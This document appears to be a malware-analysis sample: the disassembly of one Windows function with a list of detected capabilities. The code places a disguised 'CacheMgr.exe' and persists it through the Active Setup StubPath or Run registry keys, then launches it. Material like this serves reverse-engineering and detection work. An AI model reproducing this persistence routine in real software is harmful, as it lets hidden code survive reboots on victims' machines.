Function at 0x10001c50
Capabilities:
Check if file exists
Check os version
Create process on windows
Get common file path
Get file attributes
Persist via active setup registry key
Persist via run registry key
Set registry value

Disassembly:
sub esp, 0x194
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x18c], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebp
push esi
push edi
xor esi, esi
push 0x208
push 8
mov dword [esp + 0x20], esi
mov dword [esp + 0x18], esi
mov dword [esp + 0x24], esi
mov dword [esp + 0x1c], esi
call ebx
mov ebp, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
call ebp
mov edi, eax
mov dword [esp + 0x24], edi
cmp edi, esi
jne 0x10001cb2
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push esi
call fcn.10001500
add esp, 4
jmp 0x10001f7f
push str.C:RECYCLER.xxx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x10001cd7
push str.C:RECYCLER.xxx
push 0x104
push edi
call fcn.1000320e
add esp, 0xc
jmp 0x10001cf9
push edi
push esi
push esi
push 0x23
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov esi, eax
test esi, esi
je 0x10001cf7
push esi
call fcn.10001500
add esp, 4
jmp 0x10001f37
xor esi, esi
push str.CacheMgr.exe
push edi
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
push 0x208
push 8
call ebx
push eax
call ebp
mov dword [esp + 0x10], eax
cmp eax, esi
jne 0x10001d2f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push esi
call fcn.10001500
add esp, 4
jmp 0x10001f37
push 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x10001d19
push 0x208
push 8
call ebx
push eax
call ebp
mov esi, eax
mov dword [esp + 0x18], esi
test esi, esi
je 0x10001d19
call fcn.10002890
test eax, eax
je 0x10001dcf
push 0x114
lea eax, [esp + 0x84]
push 0
push eax
call fcn.10008470
add esp, 0xc
lea ecx, [esp + 0x80]
push ecx
mov dword [esp + 0x84], 0x114
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x10001d9d
cmp dword [esp + 0x84], 6
jae 0x10001dcf
push str.2CBE016A_8F28_4E0C_83A6_6079161294D7
push str.SoftwareMicrosoftActive_SetupInstalled_Components
push str._s_s
mov ecx, 0x104
mov ebx, esi
call fcn.10001550
add esp, 0xc
mov ecx, 0x80000002
call fcn.10001500
mov dword [esp + 0x20], 0x1000e4e0
jmp 0x10001dfa
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push 0x1000e6cc
mov ecx, 0x104
mov ebx, esi
call fcn.10001550
add esp, 8
mov ecx, 0x80000001
call fcn.10001500
mov dword [esp + 0x20], 0x1000e4ec
lea edx, [esp + 0x14]
push edx
push esi
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
mov esi, eax
test esi, esi
jne 0x10001d21
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x248
push 8
call esi
push eax
call ebp
test eax, eax
je 0x10001d19
mov ecx, dword [esp + 0x10]
mov ebx, edi
push ebx
mov edi, eax
call fcn.10001380
add esp, 4
test eax, eax
je 0x10001d19
mov eax, ebx
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10001e50
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 0x20]
push eax
push 8
call esi
push eax
call ebp
mov esi, eax
mov dword [esp + 0x1c], esi
test esi, esi
je 0x10001d19
mov eax, ebx
lea edx, [eax + 2]
mov edi, edi
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10001e80
mov ecx, dword [esp + 0x20]
push ecx
sub eax, edx
sar eax, 1
push ebx
push str.__s___s
lea ecx, [eax + 0xf]
mov ebx, esi
call fcn.10001550
mov eax, esi
add esp, 0xc
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10001eb0
sub eax, edx
sar eax, 1
lea edx, [eax + eax + 2]
mov eax, dword [esp + 0x14]
push edx
push esi
push 1
push 0
push str.StubPath
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x10001d19
push 0x44
push eax
lea ecx, [esp + 0x40]
push ecx
call fcn.10008470
add esp, 0xc
xor eax, eax
lea edx, [esp + 0x28]
push edx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 0x20
push 0
push 0
push 0
push esi
push 0
mov dword [esp + 0x60], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x10001d19
mov esi, 0x70000013
mov ecx, dword [esp + 0x24]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ecx
push 0
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call edi
mov eax, dword [esp + 0x10]
test eax, eax
je 0x10001f5f
push eax
push 0
call ebx
push eax
call edi
mov eax, dword [esp + 0x18]
test eax, eax
je 0x10001f6f
push eax
push 0
call ebx
push eax
call edi
mov eax, dword [esp + 0x1c]
test eax, eax
je 0x10001f7f
push eax
push 0
call ebx
push eax
call edi
mov eax, dword [esp + 0x14]
test eax, eax
je 0x10001f8e
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x19c]
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.10002ef7
add esp, 0x194
ret